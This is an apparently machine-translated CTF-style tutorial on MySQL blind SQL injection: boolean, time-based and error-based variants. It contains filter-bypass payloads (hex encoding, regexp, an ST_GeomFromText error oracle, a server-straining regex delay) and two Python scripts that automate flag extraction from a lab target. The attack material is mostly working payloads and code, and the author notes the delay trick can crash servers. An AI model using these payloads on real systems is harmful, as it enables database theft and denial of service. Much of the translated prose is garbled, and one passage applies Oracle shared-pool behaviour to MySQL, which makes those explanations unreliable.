序文
ブラインドSQL(ブラインドインジェクション)はSQLインジェクションの一種です***。SQLインジェクションのプロセスでは、SQLステートメントの実行後にデータがフロントエンドページにエコーされません。現時点では、いくつかの方法を使用して判断または試行する必要があります。このプロセスはブラインドインジェクションと呼ばれます。
この記事では、MySQLブラインドインジェクション(この実験では、MySQLインジェクションの3つのブラインドインジェクション方法(ブールベースのブラインドインジェクション、時間ベースのブラインドインジェクション、エラーベースのブラインドインジェクション)について説明します。この実験を学習することで、ブラインドインジェクションの原理を理解できます。)
SQLブラインドインジェクションの基本的な知識
一般的に使用される基本機能
- IF(expr1、expr2、expr3)
もしexpr1
本当、リターンexpr2
、偽、リターンexpr3
SELECT IF(TRUE, 'A','B') -- 输出结果:A
SELECT IF(FALSE,'A','B') -- 输出结果:B
- ASCII(str)
文字列のstr
左端の文字のASCII値を返します
SELECT ASCII("flag") -- 输出结果:102
- ORD(str)
文字列のstr
最初の文字のASCII値を返します
SELECT ORD("flag") -- 输出结果:102
- CHAR(int)
ASCIIコード値int
を文字に変換する
SELECT CHAR(65) -- 输出结果:A
- MID(str、pos、len)
スタートpos
位置、との文字列をインターセプトstr
合計len
の文字の長さ
SELECT MID("Hello World", 3, 5) -- 输出结果:llo W
SUBSTR(str、pos、len)と同じ
- LEFT(str、len)
文字列のstr
左側len
から合計文字を返します
SELECT LEFT("flag", 2) -- 输出结果:fl
- SLEEP(持続時間)
duration
スリープ時間は秒単位、または10進数です
SELECT SLEEP(3)
# [SQL] SELECT SLEEP(3)
# 受影响的行: 0
# 时间: 3.005ms
- 正規表現
正規表現、テキストの照合に使用される特別な文字列(文字セット)
SELECT "FLAG" REGEXP "LA" -- 输出结果:1
SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0
- その他
LENGTH(str) -- 返回字符串str的长度
DATABASE() -- 返回当前数据库名
VERSION() -- 返回当前MySQL版本
ブールブラインド
インジェクションポイントの入力によると、ページはTrueとFalseの2種類のページのみを返します。このページを使用して別のデータを返し、データを1つずつ推測します。
SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1
SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2
これに基づいて、データベース名の長さは4
タイムブラインド
実行時間の長さ、つまり時間遅延注入によって、実行が成功したかどうかを判断します。
SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应
SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应
これに基づいて、データベース名の最初の文字はc
次の2つの質問:フラグテーブルのフラグフィールドのフラグ
ターゲットマシンをローカルでビルドし、postを使用してパラメーターを転送し、変数をkeywords
受け取ります
ランタイムエラーに基づくブールブラインドインジェクション
操作エラーに基づくブールブラインドインジェクションは、SQLステートメントの文法的および意味論的分析に合格できますが、操作中にエラーを報告します。
IF(expr1、expr2、expr3)として使用できます。trueのexpr3
場合はページがexpr1
返さexpr2
れ、ページは正常であり、falseの場合は実行されexpr3
ます。このとき、ページは正常に表示できません。実行エラーが原因です。
ST_GeomFromText(character-string [、srid])は、文字列表現に基づいてジオメトリを構築するメソッドです。
SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 )
-- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]
ST_X(point):このメソッドは、ポイントのx座標を取得するためのものであり、操作するオブジェクトはポイントです。つまり、次のようになります。
SELECT ST_X(POINT(2,3)) -- 输出结果:2
ただし、操作オブジェクトがポイントでない場合、操作はエラーを報告しますが、SQLチェックに合格できるため、trueとfalseの2つの場合に異なるページを作成するために使用できます。
SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1
SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
Ps
ST_GeomFromTextとST_MPointFromTextは、テキストからSpatial関数を解析できる2つの関数です。
ST_GeomFromTextはPOINT()関数用であり、ST_MPointFromTextはMULTIPOINT()関数用であることに注意してください。
利用可能な他の機能:
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);
トピックがフィルタリングされている場合は、sumST
を使用できますが、MySQLはバージョン5.7.6以降非推奨になっています。GeomFromText()
X()
名前 | 説明 |
---|---|
X() (非推奨の5.7.6) |
ポイントのX座標を返します |
GeomFromText() (非推奨の5.7.6) |
WKTからジオメトリを返す |
1、2、3などの数字を入力すると、ページはHello World
フィルタリングされたキーワードが入力されると、ページは戻りますNo Hacker
これから、フィルタリングされたキーワードのいくつかをテストできます。
'
、"
、or
、-
、*
、>
、<
、=
、like
、sleep
、substr
、mid
、ascii
、ord
ただし、禁止されない限り、Webページは1種類のページしか返すことができず、通常のデジタルブラインドインジェクションは実行できません。
また、のようif(0,1e9999,1)
に、SQLステートメントをチェックできないため、ページはもちろん、正常に表示できませんif(1,1e9999,1)
。
この時点で、実行時エラーに基づいてブールブラインドアノテーションの使用を検討できます。構文とセマンティクスはSQLチェックに合格できますが、ステートメントが実行されると正しく実行されないため、trueとfalseの両方のケースを作成できます。
ifを使用したブラインドインジェクション'
は、16進数でフィルタリングおよびバイパスされます。
if(1,1,ST_X(ST_GeomFromText('POINT(mads)'))
> if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))
この時点でページが戻りますHello World
。タイトルは(フラグがフラグテーブルのフラグフィールドであることを述べて、そして左)の判断のための最初の文字を傍受するために使用され、=
かつlike
使用することができますregexp
代わりに。
ペイロードを作成します。
if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
このとき、ページはまだ返されますHello World
。フラグの最初の文字がchar(102)であることがわかります。これは、f
if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
そして2番目の文字はchar(108)で、これは文字ですl
Pythonでスクリプトを書く
import requests
def fun(string):
result = ""
j = 1
for i in string:
if j != len(string):
result = result + str(ord(i)) + ","
else:
result = result + str(ord(i))
j += 1
return "char(" + result + ")"
url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
flag = ""
for i in range(1, 50):
for j in tables:
if j == "{" or j == "}":
j = "\\" + j
payload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % (
i, fun(flag+j))
r = requests.post(url=url, data={'keywords': payload})
if "Hello World" in r.text:
flag = flag + j
print(flag.replace("\\", ""))
break
膨大な計算時間に基づくタイムブラインドインジェクション
そのため、ここでのフィルタリングST
、ST
始まるの機能が禁止され、使用することはできません。
同時に、フィルタリングさsleep
れるため、タイムスリープによって時間を遅らせることはできず、スリープをタイムブラインドインジェクションに使用することはできません。
しかし、時間遅延としてsqlステートメントを介して長い操作時間のステートメントを実行できます。つまり、フラグの文字を判断する場合はifを使用し、正しい場合は長い操作を必要とするステートメントを実行します。それ以外の場合は0を返します。
したがって、後でPythonでスクリプトを作成する場合は、タイムアウト期間を設定します。設定した時間内にコンテンツが返されない場合、つまり文字が正しい場合は、タイムブラインドインジェクションを実行できます。
その前に、いくつかの機能を理解してください
- rpad(str、len、padstr)
str
塗りつぶした文字列を右に、そして使用padstr
に詰め物をstr
する長さlen
の文字
SELECT RPAD('hi', 5, '?') -- 输出结果:hi???
- concat(str1、str2、...)
複数の文字列を1つの文字列に連結します
SELECT CONCAT('he', 'll', 'o') -- 输出结果:hello
- 繰り返し(str、count)
文字列をstr
繰り返したcount
後に文字列を返します
SELECT REPEAT('ab', '3') -- 输出结果:ababab
ペイロードを作成します。
1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)
つまり、フラグの最初の文字がである場合f
、次のステートメントが実行されます。
rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
rpad('a',5000000,'a')
それはa
非常に長い文字列に構築される5,000,000で満たされ、文字列はconcat(repeat('(a.*)+',30),'b')
通常のマッチングに使用され、遅延は膨大な量の計算によって遅延されます。
これを行うと、サーバーがクラッシュする可能性があります
タイトルはフィルタリングされているため、'
代わりに16進数を使用してください
1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)
次の2つの図では、get to passパラメーターを使用して、時間遅延効果をテストしています。
旗の最初の文字を推測するとき:
そして、最初の文字が推測された場合、0x01
0を返す場合はfalseです。
そのため、多くの計算時間で時間を遅らせ、時間をブラインドインジェクションにすることができます。
ただし、サーバープロセスは、クライアントから送信されたSQLステートメントを受信しても、データベースに直接クエリを実行しません。サーバープロセスは、このSQLステートメントの文字をASCIIと同等のデジタルコードに変換し、ASCIIコードをHASH関数に渡してハッシュ値を返します。その後、サーバープロセスは共有プールのライブラリキャッシュに移動します。 。同じハッシュ値を探します。存在する場合、サーバープロセスは、SHARED POOLのライブラリキャッシュにキャッシュされているステートメントの分析バージョンを使用して実行し、その後の分析作業(ソフト分析)の必要性を排除します。
したがってrpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
、複数のクエリの後に遅延が発生しないため、rpad()の5000000
必要性は毎回1ずつ減少します。
スクリプトはGqleung(http://www.plasf.cn)からのものです
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i))
r = r.replace('0x', '')
result = result+r
return '0x'+result
url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
result = ""
for i in range(1, 50):
for j in tables:
if j == "{" or j == "}":
j = '\\'+j
payload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % (
ord2hex("^"+result+j), 5000000-i)
try:
r = requests.post(url=url, data={'keywords': payload}, timeout=3)
except Exception as e:
result = result+j
print(result.replace('\\', ''))
タイムアウト:タイムアウト時間を秒単位で設定します。設定した時間内にコンテンツが返されない場合、タイムアウト例外が返されます
3秒以内にコンテンツが返されない場合、タイムアウト例外が返されます。つまり、文字が正しく、印刷されます。